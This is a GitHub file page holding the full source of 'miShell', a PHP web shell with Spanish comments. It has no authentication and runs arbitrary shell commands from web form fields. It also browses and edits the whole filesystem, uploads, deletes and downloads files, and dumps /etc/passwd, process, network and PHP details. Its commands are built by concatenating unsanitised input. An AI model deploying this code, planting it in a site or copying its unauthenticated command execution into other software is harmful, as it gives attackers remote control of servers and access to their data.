-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmiShell.txt
More file actions
833 lines (791 loc) · 30.2 KB
/
miShell.txt
File metadata and controls
833 lines (791 loc) · 30.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
<?php
/**
* miShell
* Copyright (C) 2014 Esteban De La Fuente Rubio, DeLaF (esteban[at]delaf.cl)
*
* Este programa es software libre: usted puede redistribuirlo y/o modificarlo
* bajo los términos de la Licencia Pública General GNU publicada
* por la Fundación para el Software Libre, ya sea la versión 3
* de la Licencia, o (a su elección) cualquier versión posterior de la misma.
*
* Este programa se distribuye con la esperanza de que sea útil, pero
* SIN GARANTÍA ALGUNA; ni siquiera la garantía implícita
* MERCANTIL o de APTITUD PARA UN PROPÓSITO DETERMINADO.
* Consulte los detalles de la Licencia Pública General GNU para obtener
* una información más detallada.
*
* Debería haber recibido una copia de la Licencia Pública General GNU
* junto a este programa.
* En caso contrario, consulte <http://www.gnu.org/licenses/gpl.html>.
*
*/
/**
* miShell
* Herramienta para exploración y realización de diferentes tareas en
* servidores corriendo Linux, Apache y PHP
* @author Esteban De La Fuente Rubio, DeLaF (esteban[at]delaf.cl)
* @version 2014-01-27
*/
// configuración
$conf = array (
'time' => array (
'zone' => 'America/Santiago',
'format' => 'Y-m-d H:i:s',
),
'menu' => 'browser terminal system users process network php databases',
'jquery' => 'http://ajax.googleapis.com/ajax/libs/jquery/1.7/jquery.min.js',
);
// definir zona horaria
date_default_timezone_set($conf['time']['zone']);
// definir PATH
putenv("PATH={$_SERVER["PATH"]}:/usr/bin:/usr/local/bin");
// generar hojas de estilo en cascada
if(isset($_GET['css'])) {
header('Content-type: text/css');
echo css();
}
// generar codigo javascript
else if(isset($_GET['js'])) {
header('Content-type: application/javascript');
echo js();
}
// generar imagen
else if(isset($_GET['img'])) {
$img = img_load();
header('Content-type: image/png');
echo base64_decode($img[$_GET['img']]);
}
// generar vista de terminal
else if(isset($_GET['terminal'])) {
echo web1();
echo '<h1>Terminal</h1>'."\n";
echo terminal();
echo web2();
}
// generar vista de usuarios
else if(isset($_GET['system'])) {
echo web1();
echo '<h1>System</h1>'."\n";
echo execute('df -h');
echo execute('free -m');
echo file_show('/etc/fstab');
echo file_show('/proc/cpuinfo');
echo file_show('/proc/meminfo');
echo web2();
}
// generar vista de usuarios
else if(isset($_GET['users'])) {
echo web1();
echo users();
echo web2();
}
// generar vista de procesos
else if(isset($_GET['process'])) {
echo web1();
echo process();
echo web2();
}
// generar vista de red
else if(isset($_GET['network'])) {
echo web1();
echo network();
echo web2();
}
// generar vista de php
else if(isset($_GET['php'])) {
echo web1();
echo php();
echo web2();
}
// generar phpinfo
else if(isset($_GET['phpinfo'])) {
phpinfo();
}
// generar vista de base de datos
else if(isset($_GET['databases'])) {
echo web1();
echo databases();
echo web2();
}
// eliminar archivo
else if(isset($_GET['delete'])) {
file_delete(urldecode($_GET['delete']));
}
// generar editor
else if(isset($_GET['edit'])) {
file_edit(urldecode($_GET['edit']));
}
// generar descarga
else if(isset($_GET['download'])) {
file_download(urldecode($_GET['download']));
}
// generar pagina principal
else {
echo web1();
echo browser();
echo web2();
}
/**
*
*/
function web1($logo_info_nav = true) {
global $conf;
$jquery = $conf['jquery'];
$buffer = <<< EOF
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>~~miShell~~</title>
<link rel="shortcut icon" href="?img=shell" />
<link rel="stylesheet" type="text/css" href="?css" media="screen" title="screen" />
<script type="text/javascript" src="$jquery"></script>
<script type="text/javascript" src="?js"></script>
</head>
<body>
<div id="overlay"></div>
<div id="windows"></div>
<div id="page">
EOF;
if($logo_info_nav) {
$buffer .= logo_info();
$buffer .= nav();
}
return $buffer;
}
function web2() {
$buffer = <<< EOF
<div id="footer">
<span>~~miShell~~</span>
by <a href="http://delaf.cl">DeLaF</a>
</div>
</div>
</body>
</html>
EOF;
return $buffer;
}
function logo_info () {
// generar logo e información general
$uname = php_uname();
$uptime = uptime();
$phpversion = phpversion();
$phpapi = php_sapi_name();
$apache = $_SERVER['SERVER_SOFTWARE'];
$user = posix_getpwuid(posix_getuid());
$prompt = $user['name'].'@'.gethostname();
$document_root = $_SERVER['DOCUMENT_ROOT'];
$document_root_link = urlencode($_SERVER['DOCUMENT_ROOT']);
$script_dir = getcwd();
$script_dir_link = urlencode(getcwd());
$buffer = <<< EOF
<div id="logo" class="fleft">~~miShell~~</div>
<div id="generalInfo" class="fright">
$uname<br />
Uptime: $uptime<br />
PHP $phpversion with $phpapi on $apache<br />
$prompt:<a href="?dir=$script_dir_link">$script_dir</a><br />
DocumentRoot: <a href="?dir=$document_root_link">$document_root</a><br />
</div>
<div class="clear"></div>
EOF;
return $buffer;
}
function nav() {
global $conf;
$entries = explode(' ', $conf['menu']);
$buffer = '';
$buffer .= '<div id="nav">'."\n";
foreach($entries as &$entry)
$buffer .= '<a href="?'.$entry.'">'.$entry.'</a>'."\n";
$buffer .= '</div>'."\n";
return $buffer;
}
function css() {
$buffer = <<< EOF
* { top: 0; left: 0; }
body { background: black; color: white; font-family: monospace; }
a { color: orange; text-decoration: none; }
a:hover { color: red; text-decoration: underline; }
pre { background: #aaa; color: black; padding: 10px; border: 2px solid #555; }
table { width: 100%; }
th { background: #333; }
tr { background: #aaa; }
tr:hover { background: #ccc; }
td { text-align: center; color: black; }
td a{ color: black; }
iframe { width: 100%; height: 300px; }
img.disabled { filter: alpha(opacity=30); -moz-opacity: 0.3; opacity: 0.3; }
textarea { width: 100%; height: 200px; }
.clear { clear: both; }
.fleft { float: left; }
.fright { float: right; }
.center { text-align: center; }
#logo { background: #222; color: yellow; font-size: 2em; width: 300px; padding: 20px; border: 5px solid #555; text-align: center; }
#nav, #footer { text-align: center; background: #222; border: 2px solid #555; margin: 10px 0; padding: 2px; }
#footer span { color: yellow; }
/** Estilo para "ventanas" dentro del navegador */
#overlay { display: none; position: fixed; height: 100%; width: 100%; background: black; opacity: .85; filter: alpha(opacity=85); -moz-opacity: .85; z-index: 101; }
.window { display: none; position: fixed; background: black; z-index: 102; }
.window_normal { width: 600px; height: 400px; top: 50%; left: 50%; margin-left: -300px; margin-top: -200px; border: 4px solid #333; }
.window_maximize { height: 100%; width: 100%; }
.window .windowbar { background: #333; font-weight: bold; font-size: 16px; }
.window .windowbar .title { padding: 5px; }
.window .windowbar .buttons a { font-size: 20px; color: #aaa; }
.window .windowbar .buttons a:hover { color: #eee; text-decoration:none; }
.window .windowbar .buttons .restore { display: none; }
.window .content { padding: 5px; }
.window .content iframe { border: 0; }
EOF;
return $buffer;
}
function js() {
$buffer = <<< EOF
/** Clases y funciones para manejar una "ventana" dentro del navegador */
var windows = new Windows();
function Windows () {
this.wid = 0;
this.windows = new Array();
}
Windows.prototype.createWindow = function () {
var id = this.wid++;
this.windows[id] = new Window('window_'+id);
return this.windows[id];
}
Windows.prototype.getWindow = function (id) {
var window;
this.windows.forEach(function(w) {
if (w.id == id) {
window = w;
}
});
return window;
}
function Window (id) {
// atributos de la clase
this.id = id;
this.title = id;
// crear ventana
$('#windows').append('<div id="'+this.id+'" class="window window_normal"><div class="windowbar"><div class="title fleft">'+this.title+'</div><div class="buttons fright"><a href="#" onclick="windows.getWindow(\''+this.id+'\').restore()" title="Restore" class="restore">-</a><a href="#" onclick="windows.getWindow(\''+this.id+'\').maximize()" title="Maximize" class="maximize">+</a><a href="#" onclick="windows.getWindow(\''+this.id+'\').close()" title="Close" class="close">x</a></div><div class="clear"></div></div><div class="content"></div><div>');
}
Window.prototype.setTitle = function (title) {
$('#'+this.id+' .title').text(title);
}
Window.prototype.setContent = function (content) {
$('#'+this.id+' .content').html(content);
}
Window.prototype.setIframe = function (src) {
// colocar iframe
this.setContent('<iframe src="'+src+'" id="'+this.id+'_iframe" />');
$('#'+this.id+' .content').css('padding', '0');
// cambiar el tamaño del iframe
$('#'+this.id+'_iframe').height($('#'+this.id).height()-30);
}
Window.prototype.show = function () {
$('#overlay').fadeIn(400);
$('#'+this.id).fadeIn(400);
}
Window.prototype.hide = function () {
$('#overlay').fadeOut(400);
$('#'+this.id).fadeOut(400);
}
Window.prototype.close = function () {
if(confirm('Are you sure you want to close this window?')) {
// ocultar ventana
this.hide();
// eliminar ventana del arreglo
var parts = this.id.split('_');
windows.windows.splice(parts[1],1);
// eliminar ventana del div windows
$('#'+this.id).remove();
}
}
Window.prototype.maximize = function () {
// recuperar objetos (ventana y botones)
var window = $('#'+this.id);
var buttons = $('#'+this.id+' .buttons');
// agrandar ventana
window.removeClass('window_normal').addClass('window_maximize');
// cambiar botones
buttons.children('.maximize').css('display', 'none');
buttons.children('.restore').css('display', 'inline');
// cambiar el tamaño del iframe
if($('#'+this.id+'_iframe')) {
$('#'+this.id+'_iframe').height($('#'+this.id).height()-30);
}
}
Window.prototype.restore = function () {
// recuperar objetos (ventana y botones)
var window = $('#'+this.id);
var buttons = $('#'+this.id+' .buttons');
// restaurar ventana
window.removeClass('window_maximize').addClass('window_normal');
// cambiar botones
buttons.children('.restore').css('display', 'none');
buttons.children('.maximize').css('display', 'inline');
// cambiar el tamaño del iframe
if($('#'+this.id+'_iframe')) {
$('#'+this.id+'_iframe').height($('#'+this.id).height()-30);
}
}
/** Función para editar archivo */
function file_edit (file) {
var window = windows.createWindow();
window.setTitle('Text editor');
window.setIframe('?edit='+file);
window.show();
}
/** Función para eliminar archivo */
function file_delete (file) {
if(confirm('Are you sure you want to delete this file?')) {
document.location.href = '?delete='+file;
}
}
/** Función para seleccionar y deseleccionar todos los elementos en los archivos */
function browser_selectAll () {
if($('#browserSelectAll').is(":checked")) {
$('.browseFiles').attr("checked","checked");
} else {
$('.browseFiles').removeAttr("checked");
}
}
EOF;
return $buffer;
}
function img_load() {
return array(
'download' =>
'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAACVElEQVR42pWSTUwTQRzF3+xyENNi
m/QLJKn1oxQCxoaDXBQPxoSkhijc5CCHXot44VIDBW4cajxwICQq9qLRaBMqXjQxxFSSVoyxlpMV
LUJF3HahpXQ/xt3SkiZYlX/yMvNP5v1m5s0QVClbQE8r+0QfR/60jlQDND820jajGVmhgM9pDvHe
9YMBOmYd1GU/i40cj3AyjreupYMBzs21096WS1jP/sLr5Qjmu6L/BjiDzYvKcKbcXzzeAW6bR3T1
U+Wy94vdcec+QCQS8efk7I2xtWEsFxJo1Jph1hggypJyDQ7JzRQscj368v0gO8xtt9s9uAdQzMdY
lk2cOtGCrJzFtTc9WOLjaKwzFeFJ/gfsGgem2wNgCyxmQ0+xtbVpGxoa+lIG3DUZLdeNBgtqagh4
IYPuly7E0h+LgBZdK550BqFhtchksoi+W0A0unDP5/P1E8WsU3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mCC'
);
}
function file_show($file, $h='h2') {
$buffer = '';
$buffer .= '<'.$h.'>'.$file.'</'.$h.'>'."\n";
$buffer .= '<pre>'."\n";
$buffer .= file_get_contents($file);
$buffer .= '</pre>'."\n";
return $buffer;
}
function execute($cmd, $h = 'h2') {
exec($cmd, $output);
$buffer = '';
$buffer .= '<'.$h.'>'.$cmd.'</'.$h.'>'."\n";
$buffer .= '<pre>'."\n";
$buffer .= implode("\n", $output);
$buffer .= '</pre>'."\n";
return $buffer;
}
// http://www.xenocafe.com/tutorials/php/realtime_server_uptime/index.php
function uptime() {
$uptime = file_get_contents('/proc/uptime');
$uptime = explode(' ', $uptime);
$seconds = $uptime[0];
$secs = intval($seconds % 60);
$mins = intval($seconds / 60 % 60);
$hours = intval($seconds / 3600 % 24);
$days = intval($seconds / 86400);
$uptimeString = '';
if ($days > 0) {
$uptimeString .= $days;
$uptimeString .= (($days == 1) ? " day" : " days");
}
if ($hours > 0) {
$uptimeString .= (($days > 0) ? ", " : "") . $hours;
$uptimeString .= (($hours == 1) ? " hour" : " hours");
}
if ($mins > 0) {
$uptimeString .= (($days > 0 || $hours > 0) ? ", " : "") . $mins;
$uptimeString .= (($mins == 1) ? " minute" : " minutes");
}
if ($secs > 0) {
$uptimeString .= (($days > 0 || $hours > 0 || $mins > 0) ? ", " : "") . $secs;
$uptimeString .= (($secs == 1) ? " second" : " seconds");
}
return $uptimeString;
}
function terminal() {
$buffer = '';
$buffer .= '<script type="text/javascript"> $(function() { $(\'#cmd\').focus(); }); </script>'."\n";
$buffer .= '<form action="'.$_SERVER['REQUEST_URI'].'" method="post">'."\n";
$buffer .= '<input type="text" name="cmd" id="cmd" value="'.(!empty($_POST['cmd'])?$_POST['cmd']:'').'" style="width: 100%;" />'."\n";
$buffer .= '</form>'."\n";
if(!empty($_POST['cmd'])) {
$buffer .= execute($_POST['cmd']);
}
return $buffer;
}
function browser() {
global $conf;
// obtener directorio que se procesara
$dir = empty($_GET['dir']) ? '/' : urldecode($_GET['dir']);
if($dir[strlen($dir)-1]!='/') $dir .= '/';
// mkdir y touch
if(!empty($_POST['mkdir'])) mkdir($dir.$_POST['mkdir']);
if(!empty($_POST['touch'])) touch($dir.$_POST['touch']);
if(!empty($_POST['execute'])) execute('cd "'.$dir.'"; '.$_POST['execute']);
if(isset($_FILES['upload'])) execute('cp '.$_FILES['upload']['tmp_name'].' "'.$dir.$_FILES['upload']['name'].'"');
if(!empty($_POST['filesAction']) && isset($_POST['files']) && count($_POST['files'])) {
if($_POST['filesAction']=='download') {
file_download($_POST['files'], $dir);
} else {
foreach($_POST['files'] as &$file) {
file_delete($dir.$file);
}
}
}
// leer contenido del directorio
$files = scandir($dir);
// generar uri para navegacion por directorios padres
$aux = '';
$uri = '';
$to = 0;
$from = 0;
do {
$to = strpos ($dir, '/', $from);
$folder = substr($dir, $from, $to-$from+1);
$aux .= $folder;
$uri .= '<a href="?dir='.urlencode($aux).'">'.$folder.'</a>';
$from = $to+1;
} while($to!==false);
// mostrar directorio
$buffer = '';
$buffer .= '<h1>Browser</h1>'."\n";
$buffer .= '<form action="'.$_SERVER['REQUEST_URI'].'" method="post">'."\n";
$buffer .= '<div id="dirInfo">'.$uri.': '.size_format(disk_free_space($dir)).' free of '.size_format(disk_total_space($dir)).'</div>'."\n";
$buffer .= '<table>'."\n";
$selectAll = '<input type="checkbox" name="browserSelectAll" id="browserSelectAll" onclick="browser_selectAll()" />';
$buffer .= '<tr><th>file</th><th style="width: 100px;">inode</th><th style="width: 100px;">perms</th><th style="width: 100px;">user</th><th style="width: 100px;">group</th><th style="width: 100px;">size</th><th style="width: 200px;">date/time</th><th style="width: 100px;">actions</th><th style="width: 20px;">'.$selectAll.'</th></tr>'."\n";
foreach($files as &$file) {
if($file=='.' || $file=='..') continue;
// nombre del archivo
$name = is_dir($dir.$file) ? '<a href="?dir='.urlencode($dir.$file).'">'.$file.'</a>' : $file;
// propiedades del archivo
$user = posix_getpwuid(fileowner($dir.$file));
$group = posix_getgrgid(filegroup($dir.$file));
$mtime = date ($conf['time']['format'], filemtime($dir.$file));
// acciones
$actions = '';
if(is_readable($dir.$file)) $actions .= '<a href="?download='.urlencode($dir.$file).'" title="download"><img src="?img=download" alt="" /></a>';
else $actions .= '<img src="?img=download" alt="" class="disabled" />';
if(!is_dir($dir.$file) && is_readable($dir.$file)) $actions .= '<a href="#" onclick="file_edit(\''.urlencode($dir.$file).'\')" title="edit"><img src="?img=edit" alt="" /></a>';
else $actions .= '<img src="?img=edit" alt="" class="disabled" />';
if(is_writable($dir.$file)) $actions .= '<a href="#" onclick="file_delete(\''.urlencode($dir.$file).'\')" title="delete"><img src="?img=delete" alt="" /></a>';
else $actions .= '<img src="?img=delete" alt="" class="disabled" />';
// select file
$selectFile = '<input type="checkbox" name="selectFile[]" value="'.urlencode($dir.$file).'" />';
// generar fila
$buffer .= '<tr><td>'.$name.'</td><td>'.fileinode($dir.$file).'</td><td>'.file_perms($dir.$file).'</td><td>'.$user['name'].'</td><td>'.$group['name'].'</td><td>'.file_size($dir.$file).'</td><td>'.$mtime.'</td><td>'.$actions.'</td><td><input type="checkbox" name="files[]" class="browseFiles" value="'.$file.'" /></td></tr>'."\n";
}
$formAction = $_SERVER['REQUEST_URI'];
$buffer .= <<< EOF
</table>
<div class="fright">
selected files:
<select name="filesAction">
<option value="download">download</option>
<option value="delete">delete</option>
</select>
<input type="submit" name="" value="do it" />
</div>
</form>
<div class="fleft" style="margin-right: 20px;"><form action="$formAction" method="post">
make directory:
<input type="text" name="mkdir" size="20" />
</form></div>
<div class="fleft"><form action="$formAction" method="post">
execute:
<input type="text" name="execute" size="34" />
</form></div>
<div class="clear"></div>
<div class="fleft" style="margin-right: 20px;"><form action="$formAction" method="post">
create file:
<input type="text" name="touch" size="23" />
</form></div>
<div class="fleft"><form action="$formAction" method="post" enctype="multipart/form-data">
upload:
<input type="file" name="upload" />
<input type="submit" name="" value="do it" />
</form></div>
<div class="clear"></div>
EOF;
return $buffer;
}
/**
* Entrega los permisos en formato like Unix
* @author php.net/fileperms
*/
function file_perms($file) {
// obtener permisos
$permisos = fileperms($file);
if (($permisos & 0xC000) == 0xC000) $info = 's';
else if (($permisos & 0xA000) == 0xA000) $info = 'l';
else if (($permisos & 0x8000) == 0x8000) $info = '-';
else if (($permisos & 0x6000) == 0x6000) $info = 'b';
else if (($permisos & 0x4000) == 0x4000) $info = 'd';
else if (($permisos & 0x2000) == 0x2000) $info = 'c';
else if (($permisos & 0x1000) == 0x1000) $info = 'p';
else $info = 'u';
// permisos del propietario
$info .= (($permisos & 0x0100) ? 'r' : '-');
$info .= (($permisos & 0x0080) ? 'w' : '-');
$info .= (($permisos & 0x0040) ? (($permisos & 0x0800) ? 's' : 'x' ) : (($permisos & 0x0800) ? 'S' : '-'));
// permisos del grupo
$info .= (($permisos & 0x0020) ? 'r' : '-');
$info .= (($permisos & 0x0010) ? 'w' : '-');
$info .= (($permisos & 0x0008) ? (($permisos & 0x0400) ? 's' : 'x' ) : (($permisos & 0x0400) ? 'S' : '-'));
// permisos de otros
$info .= (($permisos & 0x0004) ? 'r' : '-');
$info .= (($permisos & 0x0002) ? 'w' : '-');
$info .= (($permisos & 0x0001) ? (($permisos & 0x0200) ? 't' : 'x' ) : (($permisos & 0x0200) ? 'T' : '-'));
// retornar permsisos
return $info;
}
function file_size ($file) {
return size_format(filesize($file));
}
function size_format ($size) {
$method = array('','K','M','G', 'T');
if ($size <= 1024) // B
return $size.$method[0];
elseif ($size >= pow(1024, 4)) // TB
return round($size/pow(1024, 4), 2).$method[4];
elseif ($size >= pow(1024, 3)) // GB
return round($size/pow(1024, 3), 2).$method[3];
elseif ($size >= pow(1024, 2)) // MB
return round($size/pow(1024, 2), 2).$method[2];
else // KB
return round($size/1024, 2).$method[1];
}
function file_delete ($file) {
if(is_dir($file)) rmdir_recursive($file);
else unlink($file);
header('location: ?dir='.dirname($file));
}
function file_edit ($file) {
echo web1(false);
echo '<div><strong>File</strong>: ',$file,'<br /><br /></div>';
if(!isset($_POST['save'])) {
echo '<form action="?edit=',urlencode($file),'" method="post">';
echo '<textarea name="data">',str_replace('</textarea>', '<|textarea>', file_get_contents($file)),'</textarea>';
if(is_writable($file)) {
echo '<div class="center">';
echo '<input type="reset" name="reset" value="Back to the original" />';
echo '<input type="submit" name="save" value="Save the file" />';
echo '</div>';
}
echo '</form>';
} else {
if(file_put_contents(urldecode($file), str_replace('<|textarea>', '</textarea>', $_POST['data']))!==false) {
echo 'File modified!';
} else {
echo 'File NOT modified!';
}
}
echo web2(false);
}
function file_download ($file, $dir = null) {
// para determinar si hay que eliminar o no el archivo despues de descargar
$created = false;
// si es un arreglo de archivos se empaquetan primero
if(is_array($file)) {
$name = sys_get_temp_dir().'/'.basename($dir).'.tar';
execute('tar cf "'.$name.'" --files-from /dev/null');
foreach($file as &$f) {
execute('cd "'.$dir.'"; tar rf "'.$name.'" "'.$f.'"');
}
execute('gzip "'.$name.'"');
$file = $name.'.gz';
$created = true;
}
// si el archivo es directorio primero se empaqueta
if(is_dir($file)) {
$name = sys_get_temp_dir().'/'.basename($file).'.tar.gz';
execute('cd "'.dirname($file).'"; tar czf "'.$name.'" "'.basename($file).'"');
$file = $name;
$created = true;
}
// descargar archivo
if(file_exists($file)) {
ob_clean();
header ('Content-Disposition: attachment; filename='.basename($file));
header ('Content-Type: '.mime_content_type($file));
header ('Content-Length: '.filesize($file));
readfile($file);
// borrar el archivo si corresponde
if($created) unlink($file);
}
}
/**
* Borra recursivamente un directorio
* @param dir Directorio a borrar
* @author http://en.kioskea.net/faq/793-warning-rmdir-directory-not-empty
* @version 2011-03-24
*/
function rmdir_recursive ($dir) {
// List the contents of the directory table
$dir_content = scandir ($dir);
// Is it a directory?
if($dir_content!==false) {
// For each directory entry
foreach ($dir_content as &$entry) {
// Unix symbolic shortcuts, we go
if (!in_array ($entry, array ('.','..'))) {
// We find the path from the beginning
$entry = $dir. '/'. $entry;
// This entry is not an issue: it clears
if (!is_dir($entry)) {
unlink ($entry);
} else { // This entry is a folder, it again on this issue
rmdir_recursive ($entry);
}
}
}
}
// It has erased all entries in the folder, we can now erase
rmdir ($dir);
}
function debug($data) {
echo '<pre>';
print_r($data);
echo '</pre>';
}
function users() {
$buffer = '';
$buffer .= '<h1>Users</h1>'."\n";
$file = file_get_contents('/etc/passwd');
$users = explode("\n", $file);
$buffer .= '<table>'."\n";
$buffer .= '<tr><th>user</th><th>uid</th><th>group</th><th>gecos</th><th>home</th><th>shell</th></tr>'."\n";
foreach($users as $user) {
$field = explode(':', $user);
if(isset($field[6])) {
$group = posix_getgrgid($field[3]);
$buffer .= '<tr><td>'.$field[0].'</td><td>'.$field[2].'</td><td>'.$group['name'].'</td><td>'.$field[4].'</td><td>'.$field[5].'</td><td>'.$field[6].'</td></tr>'."\n";
}
}
$buffer .= '</table>'."\n";
return $buffer;
}
function process() {
$buffer = '';
$buffer .= '<h1>Process</h1>'."\n";
$buffer .= execute('ps aux');
$buffer .= execute('pstree -p');
return $buffer;
}
function network() {
$buffer = '';
$buffer .= '<h1>Network</h1>'."\n";
$buffer .= execute('/sbin/ifconfig');
$buffer .= execute('/sbin/route -n');
$buffer .= file_show('/etc/resolv.conf');
return $buffer;
}
function php() {
$buffer = '';
$buffer .= '<h1>PHP</h1>'."\n";
$buffer .= '<iframe src="?phpinfo"></iframe>'."\n";
return $buffer;
}
function databases() {
$buffer = '';
$buffer .= '<h1>Databases</h1>'."\n";
$buffer .= '<p>Comming soon...</p>'."\n";
$buffer .= ''."\n";
return $buffer;
}